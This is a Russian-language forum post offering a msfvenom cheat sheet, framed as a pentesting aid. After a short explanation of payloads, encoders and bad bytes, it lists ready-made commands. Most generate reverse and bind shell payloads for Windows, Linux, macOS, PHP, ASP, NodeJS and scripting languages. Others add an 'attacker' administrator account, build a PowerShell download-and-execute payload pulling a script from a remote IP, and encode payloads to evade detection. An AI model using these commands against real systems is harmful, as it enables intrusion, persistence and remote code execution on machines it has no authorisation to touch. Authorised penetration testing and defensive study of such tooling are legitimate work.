Msfvenom - Полезные шпаргалки

Kestrel

New member
Пользователь
Регистрация
27 Фев 2025
Сообщения
1
Реакции
0
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. В настоящий момент данная утилита является частью фреймворка Metasploit. Полезной нагрузкой (payload) является код или часть фрагмент вредоносного кода, который непосредственно выполняет деструктивное действие: удаляет данные, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению. Важно понимать, что для атакующего payload это то, что необходимо доставить на узел жертвы, для того, чтобы реализовать атаку. Конечно, лучше всего, когда код полезной нагрузки написан самостоятельно, в таком случае меньше вероятность его обнаружения средствами защиты. Но при проведении пентеста это не всегда возможно, и в таком случае, для генерации готовых пейлоадов можно воспользоваться специальными инструментами, например фреймворком Metasploit.

Данный фреймворк уже содержит в себе множество различных инструментов для реализации различных атак, и с помощью утилиты Msfvenom можно без особых проблем быстро сгенерировать нужную полезную нагрузку.

Вот базовый формат команды утилиты msfvenom:
Код:
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
Здесь PAYLOAD это та самая полезная загрузка
ENCODER – это алгоритмы, с помощью которых можно попытаться скрыться от средств обнаружения.
FORMAT – форматы файлов, которые мы получаем на выходе, например exe, dll, elf.
ENCODE COUNT – количество итераций кодирования
LHOST – IP адрес узла, к которому нужно подключиться

Также, может использоваться ключ –a для указания нужной архитектуры

Посмотреть доступные полезные нагрузки можно с помощью:
Код:
msfvenom -l payloads

Кодировщики с помощью:
Код:
msfvenom -l encoders

А форматы с помощью:
Код:
msfvenom -l formats

Также, при генерации полезных нагрузок не стоит забывать о так называемых “плохих” байтах. Это байты, которые не должны использоваться в наших пейлоадах. Например, в случае, если в пейлоаде, передаваемом уязвимому приложению через параметр командной строки будет байт 0х00, то приложение решит что передача данных окончена и проигнорирует все байты, переданные после нулей. Аналогично, плохими байтами являются 0х0a и 0x0d, так как они используются для завершения строки и при построчном вводе, все последующие байты также будут отброшены.

Msfvenom нужно сообщить, какие байты являются плохими, для того, чтобы он не использовал их в сгенерированных пейлоадах. Сделать это можно с помощью параметра –b.

Например, для вышеупомянутых байтов значения этих параметров будут следующими:
Код:
-b "\x00\x0a\x0d"
На этом, полагаю, вводной теории по msfvenom будет достаточно и можно перейти непосредственно к полезностям.

Полезности для различных ОС​

Начнем с рассмотрения разных полезных команд для самой безопасной распространенной пользовательской ОС Windows. При проведении пентеста обычно требуется проверить возможности по созданию удаленного канала связи в атакуемую сеть. Как правило, для этого используют реверс шелл, то есть соединение инициируется машиной жертвы. Для создания такого пейлоада выполним следующую команду. LHOST и LPORT это соответственно адрес и порт на машине атакующего, к которой будет выполняться подключение
Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Прямой шелл используется значительно реже, так как для него машина атакующего и жертвы должна находиться в одной сети.
Код:
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

В процессе закрепления в системе пентестеру может потребоваться создать нового пользователя, сделать это можно с помощью следующей команды:
Код:
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

Если нам необходимо добавить пользователя в группу администраторов, то для этого можно выполнить следующую команду:
Код:
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators attacker /add" -f exe > pay.exe

Еще один способ внедрения в систему жертвы, это загрузка скриптов из внешних источников. В примере ниже мы создаем пейлоад, который после запуска открывает powershell, и с его помощью загружает с внешнего ресурса файл скрипта для последующего выполнения.
Код:
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe

Для того, чтобы усложнить обнаружение, мы можем прибегнуть к помощи кодировщиков, как в примере ниже:
Код:
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

На этом мы завершим рассмотрение пейлоадов для Windows и посмотрим, как аналогичные задачи можно решить для Linux.

Здесь общий принцип построения команд аналогичен рассмотренyому ранее для прямого и обратного шелла. В качестве формата выходного файла у нас будет использоваться ELF.
Код:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf

Код:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf

Код:
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

Продолжая тему шеллов для операционных систем рассмотрим также пейлоады для MacOS.
Код:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

Код:
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

Полезности для веб​

Иногда уязвимости на веб ресурсах позволяют выполнить произвольный код и в таких случаях на помощью пентестеру приходят пейлоады для различных языков веб разработки. Например, если мы хотим организовать реверсивный шелл с помощью php скрипта, то нам необходимо выполнить следующую команду:
Код:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php

В случае, если уязвимый ресурс использует Windows и ASP/x, то наш реверс шелл почти ничем не будет отличаться от приведенных ранее примеров для ОС Windows:
Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp

Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

Множество веб ресурсов используют NodeJS и здесь в общем случае для нашего пейлоада не потребуется никакой выходной формат
Код:
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Скриптовые языки​

Завершая тему полезностей для msfvenom рассмотрим генерацию пейлоадов для основных скриптовых языков: Perl, Python и Bash.

По сути все три команды будут идентичны:
Код:
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

Код:
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Код:
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

Заключение​

Msfvenom предлагает богатый функционал по генерации различных полезных нагрузок в различных форматах и кодировках. С его помощью пентестер может попытаться обойти достаточно современные средства обнаружения и защиты. В статье мы рассмотрели только самые основные полезные нагрузки и другие функции msfvenom, однако на практике функционал утилиты гораздо шире.
 
Сверху